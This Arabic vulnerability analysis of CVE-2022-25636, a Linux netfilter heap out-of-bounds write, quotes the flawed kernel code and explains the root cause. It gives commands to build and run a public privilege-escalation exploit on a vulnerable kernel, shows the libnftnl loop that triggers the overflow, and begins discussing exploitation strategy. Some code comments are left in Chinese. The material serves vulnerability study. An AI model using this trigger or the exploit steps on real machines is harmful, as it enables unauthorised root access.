
تحليل تقني مفصّل وتوثيق استغلال لثغرة CVE-2022-25636، وهي ثغرة تجاوز سعة الكومة (heap overflow) في مكوّن netfilter داخل نواة Linux تتيح تصعيد الامتيازات محليًا عبر رشّ الكومة (heap spraying) واستغلال الاستخدام-after-free (UAF).
[toc]
رقم الثغرة: CVE-2022-25636
المنتج المتأثر: linux kernel - netfilter
الإصدارات المتأثرة: linux kernel 5.4 ~
خطورة الثغرة: وجود كتابة خارج حدود الكومة (heap out-of-bounds write) في وحدة netfilter في النواة، مما قد يؤدي إلى رفع الصلاحيات عند امتلاك صلاحية SYS_ADMIN
توجد الثغرة في وحدة netfilter في النواة، وتقع الشيفرة المتأثرة في 3 وحدات ko.
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
التشغيل المباشر عبر qemu يسبب مشاكل، إذ لا يمكن تحميل وحدات ko، لذلك نستخدم vmware مع جهازين للتنقيح المشترك.
في ubuntu 21.10 يمكن استبدال النواة يدويًا:
apt-get install linux-image-5.13.0-30-generic
ثم احذف النواة الأصلية وقم بترجمة الاستغلال:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
نتيجة رفع الصلاحيات (نسبة النجاح أقل من 50%):

الدالة المتأثرة هي nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
عند تعيين flow->rule->action.entries (هذه البنية هي بنية متغيرة الطول دون فحص حدود) لا يتم إجراء فحص لحدود الكومة، مما يؤدي إلى كتابة خارج الحدود لعدد صحيح (4 أو 5) ومؤشر.
تُستخدم الدالة في nft_flow_rule_create:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions 初始化为0 ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//根据rule数量调用offload
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
يمكن ملاحظة أن الدالة nft_flow_rule_create تخصص البنية flow وتعالجها بناءً على عدد بنى rule المرسلة من مساحة المستخدم، حيث يتم العد باستخدام المتغير num_actions. لكن أثناء العد يتم فقط حساب الـ rule التي تحمل علم NFT_OFFLOAD_F_ACTION، ويتم تخصيص بنية بحجم يتناسب مع ذلك العدد. ومع ذلك، عند استدعاء معالجة offload لاحقًا، لا يتم استخدام num_actions في الحلقة، بل يتم التكرار بعدد الـ rule كما في السابق، دون إعادة التحقق من علم NFT_OFFLOAD_F_ACTION. بمعنى آخر، عندما تحتوي الـ rule المُمرَّرة على rule لا تحمل علم NFT_OFFLOAD_F_ACTION، فإن عدد مرات استدعاء offload لاحقًا سيكون أكبر من عدد عناصر flow->rule->action.entries المخصصة مسبقًا. داخل offload سيتم استدعاء الدالة المعيبة nft_fwd_dup_netdev_offload، وفي كل استدعاء تزداد قيمة ctx->num_actions بمقدار 1، وctx->num_actions تُهيَّأ بقيمة 0، وفي النهاية ستصبح ctx->num_actions أكبر من نطاق مصفوفة flow->rule->action.entries، مما يسبب الكتابة خارج الحدود.
بعض البنيات:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
مكدس الاستدعاءات:
رابط مرجعي: https://www.openwall.com/lists/oss-security/2022/02/21/2
يوضح هذا البريد الإلكتروني كيفية استخدام netfilter عبر مكتبتَي libmnl وlibnftnl للغة C، وتكمن نقطة تشغيل الثغرة الرئيسية في ما إذا كانت الـ rule المضافة تحمل علم NFT_OFFLOAD_F_ACTION أم لا. فقط الـ rule المضافة عبر nftnl_expr_alloc("immediate"); تحمل علم NFT_OFFLOAD_F_ACTION:
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
الاستغلال ليس مستقرًا جدًا، لكن التقنية المستخدمة فيه بارعة. الثغرة تتيح كتابة مؤشر غير قابل للتحكم في إزاحة ثابتة خارج الحدود، وأرى شخصيًا أن صعوبة الاستغلال عالية جدًا. دعونا نحلل الأسلوب التقني باختصار. استنادًا إلى شيفرة الثغرة، يمكن معرفة أن كل كتابة خارج الحدود لا يمكنها كتابة سوى عدد صحيح (id، ثابت بقيمة 4 أو 5) ومؤشر (*dev)، حيث يشير المؤشر إلى البنية struct net_device. سنركز هنا على كتابة مؤشر dev:
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
··· ···
entry = &flow->rule->action.entries[ctx->num_actions++];//越界
entry->id = id;
entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
··· ···
}
بشأن البنية struct flow_rule، ولأنها بنية متغيرة الطول، فإن نطاق الأحجام التي يمكن تخصيصها يرتبط بإمكانية نجاح الاستغلال.
البنيات ذات الصلة:
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_match {
struct flow_dissector *dissector;
void *mask;
void *key;
};